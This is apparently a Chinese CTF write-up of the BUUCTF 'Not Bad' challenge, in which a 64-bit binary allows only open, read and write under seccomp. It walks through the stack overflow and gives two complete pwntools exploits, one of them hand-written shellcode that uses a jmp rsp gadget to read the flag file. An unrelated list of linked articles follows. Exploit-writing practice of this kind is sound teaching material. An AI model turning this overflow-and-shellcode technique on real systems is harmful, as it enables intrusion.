总的来说这是一个64位orw的题

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)
2 {
3 mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
4 sub_400949();
5 sub_400906();
6 sub_400A16();
7 return 0LL;
8 }
 1 __int64 sub_400949()
2 {
3 __int64 v1; // [rsp+8h] [rbp-8h]
4
5 v1 = seccomp_init(0LL);
6 seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
7 seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
8 seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
9 seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
10 return seccomp_load(v1);
11 }

这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题

漏洞函数:

1 int sub_400A16()
2 {
3 char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4
5 puts("Easy shellcode, have fun!");
6 read(0, buf, 0x38uLL);
7 return puts("Baddd! Focu5 me! Baddd! Baddd!");
8 }

溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp:

from pwn import *
context.arch='amd64'
context.log_level='debug' s=remote('node4.buuoj.cn',26979)
#s=process('./bad') mmap=0x123000
jmp_rsp=0x400a01 orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50) payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload) s.send(asm(orw_payload)) s.interactive()

手搓 shellcode 的exp:

 1 from pwn import *
2 context.arch='amd64'
3 context.log_level='debug'
4
5 s=remote('node4.buuoj.cn',26979)
6 #s=process('./bad')
7
8 jmp_rsp=0x400a01
9 shellcode1='''
10 xor rdi, rdi
11 mov rsi, 0x123000
12 mov rdx, 0x100
13 mov rax, 0
14 syscall
15 mov rax, 0x123000
16 call rax
17 '''
18
19 shellcode2='''
20 mov rdi, 0x67616c662f2e //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。
21 push rdi
22 mov rdi, rsp
23 mov rsi, 0
24 mov rdx, 0
25 mov rax, 2
26 syscall
27 mov rdi, 3
28 mov rsi, rsp
29 mov rdx, 0x100
30 mov rax, 0
31 syscall
32 mov rdi, 1
33 mov rsi, rsp
34 mov edx, 0x100
35 mov rax, 1
36 syscall
37 '''
38 payload=asm(shellcode1)
39 payload=payload.ljust(0x28,b'\x00')
40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
41 s.sendline(payload)
42
43 s.send(asm(shellcode2))
44
45 s.interactive()

BUUCTF [极客大挑战 2019]Not Bad的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. BUUCTF(八)[极客大挑战 2019]LoveSQL

    BUUCTF 1.打开题目 注入方法可参考NewsCenter 2.测试注入点 username: 1'or'1=1 password: 1'or'1=1 登录成功,说明存在注入漏洞. 下面测试位点个 ...

  6. BUUCTF(十一)[极客大挑战 2019]Knife

    BUUCTF系列 想着应该不会这么简单吧... 结果就是这么简单ee 疯狂暗示... url:xxx/index.php 密码:Syc 连接成功... cd / ls cat flag

  7. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  8. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  9. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

随机推荐

  1. 100个Shell脚本——【脚本8】每日生成一个文件

    [脚本8]每日生成一个文件 要求:请按照这样的日期格式(xxxx-xx-xx)每日生成一个文件,例如今天生成的文件为)2017-07-05.log, 并且把磁盘的使用情况写到到这个文件中,(不用考虑c ...

  2. haproxy动态增减主机与keepalived高级应用

    一:本文将详细介绍haproxy的配置使用以及高级功能的使用,比如通过haproxy进行动态添加删除负载集群中的后端web服务器的指定主机,另外将详细介绍keepalived的详细配置方法.配置实例及 ...

  3. LoadRunner中怎么设置密码参数化与用户名关联

    对密码参数化时从parameter里的"Select next row"列表中选择Same Line As这一选项,意思就是每一个密码参数化取值与对应行的用户名关联起来了

  4. ActiveRecord教程

    (一.ActiveRecord基础) ActiveRecord是Rails提供的一个对象关系映射(ORM)层,从这篇开始,我们来了解Active Record的一些基础内容,连接数据库,映射表,访问数 ...

  5. UILabel总结

    UILabel 能显示文字,不能直接通过addTarget...方法监听点击 1. 常见属性 @property(nonatomic,copy) NSString *text; 显示文字 @prope ...

  6. shell脚本下载网页图片

    和大家分享一个shell脚本写的图片抓取器.使用方法:img_downloader.sh.使用时在shell下输入:./img_downloader.sh www.baidu.com -d image ...

  7. springboot整合jetty

    1.jetty介绍 通常我们进行Java Web项目开发,必须要选择一种服务器来部署并运行Java应用程序,Tomcat和Jetty作为目前全球范围内最著名的两款开源servlet容器,该怎么选呢. ...

  8. Spring Batch(8) -- Listeners

    September 29, 2020 by Ayoosh Sharma In this article, we will take a deep dive into different types o ...

  9. contrller层的编码设设计流程以及详细配置

    /**      实际开发中遵循一个规律:自己写的类使用注解,系统提供的类使用配置文件 1.书写controller类----->配置springmvc.xml-------->配置web ...

  10. Identity Server 4 从入门到落地(十一)—— Docker部署

    前面的部分: Identity Server 4 从入门到落地(一)-- 从IdentityServer4.Admin开始 Identity Server 4 从入门到落地(二)-- 理解授权码模式 ...